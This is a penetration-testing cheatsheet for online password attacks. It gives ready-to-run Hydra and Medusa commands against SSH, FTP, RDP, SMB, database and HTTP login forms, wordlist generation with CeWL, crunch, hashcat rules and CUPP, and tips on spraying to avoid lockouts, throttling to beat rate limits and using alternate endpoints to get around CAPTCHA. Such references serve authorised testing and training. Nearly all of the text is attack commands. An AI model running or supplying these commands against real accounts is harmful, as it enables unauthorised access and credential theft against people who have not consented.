Cheatsheet
Hydra — Core Syntax
hydra [login_opts] [pass_opts] [attack_opts] service://target[:port]
Hydra — Common Flags
-l user -L users.txt # single / list
-p pass -P passwords.txt
-u # loop users for each password (spray mode)
-t 16 # parallel tasks (default 16)
-f / -F # stop on first success (host / global)
-s PORT # non-default port
-o creds.txt # save results
-M targets.txt # multiple hosts
-R # resume previous aborted session
-x MIN:MAX:CHARSET # generate passwords
-V / -vV # verbose
Hydra — SSH / FTP / Telnet
hydra -L users.txt -P rockyou.txt ssh://10.10.10.10 -t 4
hydra -l admin -P rockyou.txt ftp://10.10.10.10
hydra -L users.txt -P passwords.txt telnet://10.10.10.10
Hydra — HTTP Basic / Digest Auth
hydra -L users.txt -P rockyou.txt 10.10.10.10 http-get /admin/
hydra -l admin -P passwords.txt 10.10.10.10 -s 8080 http-get /
Hydra — HTTP POST Form
# Syntax: "path:post_body:failure_or_success_marker"
hydra -l admin -P passwords.txt 10.10.10.10 http-post-form \
"/login.php:username=^USER^&password=^PASS^:F=Invalid credentials"
# Success condition (redirect)
hydra -l admin -P passwords.txt example.com http-post-form \
"/login:user=^USER^&pass=^PASS^:S=302"
# With cookie / CSRF token
hydra -L users.txt -P rockyou.txt example.com https-post-form \
"/login:user=^USER^&pass=^PASS^&csrf=TOKEN:H=Cookie\: session=abc:F=Login failed"
Hydra — RDP / SMB / MSSQL / MySQL / PostgreSQL
hydra -l administrator -P passwords.txt rdp://10.10.10.10
hydra -L users.txt -P passwords.txt smb://10.10.10.10
hydra -l sa -P passwords.txt mssql://10.10.10.10
hydra -l root -P passwords.txt mysql://10.10.10.10
hydra -l postgres -P passwords.txt postgres://10.10.10.10
Hydra — Brute With Generated Charset
# -x MIN:MAX:CHARSET (a=lower, A=upper, 1=digits, symbols literal)
hydra -l administrator -x 6:8:a1 rdp://10.10.10.10
Medusa — Core Syntax
medusa -h HOST -u USER -P PASSLIST -M MODULE [-m MODULE_OPT]
Medusa — Common Flags
-h host -H hosts.txt
-u user -U users.txt
-p pass -P passwords.txt
-M module # ssh | ftp | http | smbnt | mssql | rdp | ...
-m KEY=VAL # module-specific option
-t 16 # threads per host
-T 8 # parallel hosts
-f / -F # stop on success (host / global)
-n PORT # non-default port
-e ns # also try null pass (n) and user=pass (s)
-O creds.txt
-v 6 # verbose
Medusa — Examples
medusa -h 10.10.10.10 -u admin -P rockyou.txt -M ssh
medusa -H hosts.txt -U users.txt -P rockyou.txt -M http -m GET
medusa -h 10.10.10.10 -U users.txt -e ns -M ftp # null + user=pass
medusa -h 10.10.10.10 -u Administrator -P pass.txt -M smbnt
Wordlist Generation
# CeWL — spider a site for words
cewl -d 2 -m 5 -w site.wordlist https://target.tld
# crunch — all 8-char lowercase+digit combos
crunch 8 8 abcdefghijklmnopqrstuvwxyz0123456789 -o pw.txt
# hashcat rules — mutate rockyou with best64
hashcat --stdout -r /usr/share/hashcat/rules/best64.rule rockyou.txt > mutated.txt
# username-anarchy — permute names
./username-anarchy Jane Smith > jane_smith.txt
# CUPP — personalized wordlist from OSINT
cupp -i
Common Pitfalls
Lockouts # 3-5 bad attempts = account locked. SPRAY, don't brute.
Rate limits # -t 1 -W 5 for slow throttles
CAPTCHA # hydra won't solve; look for an API/mobile endpoint
CSRF tokens # need per-request token → use custom script, not hydra
Multi-step auth # hydra can't follow redirects/multi-stage flows
Checklist
Pre-Attack Recon
Target Selection
Wordlist Prep
Execute
Post-Attack